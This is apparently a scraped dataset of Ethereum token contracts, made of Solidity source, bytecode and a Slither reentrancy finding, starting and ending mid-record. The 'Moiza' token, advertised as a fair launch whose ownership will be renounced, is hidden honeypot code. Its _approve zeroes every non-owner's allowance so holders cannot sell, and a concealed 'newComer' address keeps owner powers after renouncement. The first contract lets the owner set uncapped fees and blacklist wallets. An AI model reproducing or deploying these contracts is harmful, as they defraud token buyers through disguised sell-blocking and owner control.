amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function Woof(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638da5cb5b116100d15780638da5cb5b1461044d5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104ae57600080fd5b806374010ece146103ea5780637d1db4a51461040a5780637f2feddc1461042057600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103805780636fc3eaec146103a057806370a08231146103b5578063715018a6146103d557600080fd5b80632fd689e31461030e578063313ce5671461032457806349bd5a5e146103405780636b9990531461036057600080fd5b806312f2eb38116101ab57806312f2eb38146102715780631694505e1461029157806318160ddd146102c957806323b872dd146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105f9565b005b34801561020a57600080fd5b506040805180820190915260088152674c6f6b6920496e7560c01b60208201525b6040516102389190611a22565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a77565b610698565b6040519015158152602001610238565b34801561027d57600080fd5b506101fc61028c366004611ab3565b6106af565b34801561029d57600080fd5b506014546102b1906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102d557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102fa57600080fd5b50610261610309366004611ace565b6106f7565b34801561031a57600080fd5b506102e060185481565b34801561033057600080fd5b5060405160098152602001610238565b34801561034c57600080fd5b506015546102b1906001600160a01b031681565b34801561036c57600080fd5b506101fc61037b366004611b0f565b610760565b34801561038c57600080fd5b506101fc61039b366004611ab3565b6107ab565b3480156103ac57600080fd5b506101fc6107f3565b3480156103c157600080fd5b506102e06103d0366004611b0f565b61083e565b3480156103e157600080fd5b506101fc610860565b3480156103f657600080fd5b506101fc610405366004611b2c565b6108d4565b34801561041657600080fd5b506102e060165481565b34801561042c57600080fd5b506102e061043b366004611b0f565b60116020526000908152604090205481565b34801561045957600080fd5b506000546001600160a01b03166102b1565b34801561047757600080fd5b506102e060175481565b34801561048d57600080fd5b506040805180820190915260048152634c4f4b4960e01b602082015261022b565b3480156104ba57600080fd5b506101fc6104c9366004611b2c565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b45565b610932565b3480156104fa57600080fd5b50610261610509366004611a77565b610970565b34801561051a57600080fd5b50610261610529366004611b0f565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b77565b6109d1565b34801561057f57600080fd5b506102e061058e366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2c565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611b0f565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c34565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c95565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b6000546001600160a01b031633146106d95760405162461bcd60e51b815260040161062390611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000610704848484610caf565b610756843361075185604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062390611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161062390611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061082857506013546001600160a01b0316336001600160a01b0316145b61083157600080fd5b4761083b81611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161062390611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161062390611c34565b601655565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c34565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c34565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c63061083e565b905061083b816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c34565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c69565b9050602002016020810190610a329190611b0f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c95565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c34565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c34565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa8461083e565b610fb49190611cb0565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b60006110183061083e565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611cdf565b816001815181106113ca576113ca611c69565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611731565b6001600160a01b0389166000908152600260205260409020556115c281611790565b6115cc84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163f82826114bd565b82101561165b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149a565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061173e8385611cb0565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179a61149a565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bd565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106a9565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461083b57600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b8035801515811461195857600080fd5b600060208284031215611ac557600080fd5b6112dc82611aa3565b600080600060608486031215611ae357600080fd5b8335611aee81611938565b92506020840135611afe81611938565b929592945050506040919091013590565b600060208284031215611b2157600080fd5b81356112dc81611938565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611aa3565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b600082821015611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112dc81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200810dc79d4c67becfa1a01a2758cb971012b0179ecf4ff61c8ee8286221fb45264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,282
0xc96ec69aaa2efcbe0f0255c98acf61f1176da133
/* Tokenomics 📑 10% tax on each transaction: 5% Token Rewards | 5% to Marketing wallet 🔔 On Launch 🔔 ✅ Fair launch No Presale ✅ 20% initial burn ✅ 1 trillion token supply ✅ Bot Protection ✅ Liquidity will be Locked ✅ Ownership will be renounced 🔗 Links 👩‍💻 https://moizatoken.life/ 💬 https://t.me/Moizathekitten 💻 https://twitter.com/moizathekiterc?s=21 📝 https://moizatoken.life/lite-paper/ 🔖 https://moizatoken.life/whitepaper/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Moiza is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = ' Moiza The Wonder Kitten'; string private _symbol = 'MOIZA '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffff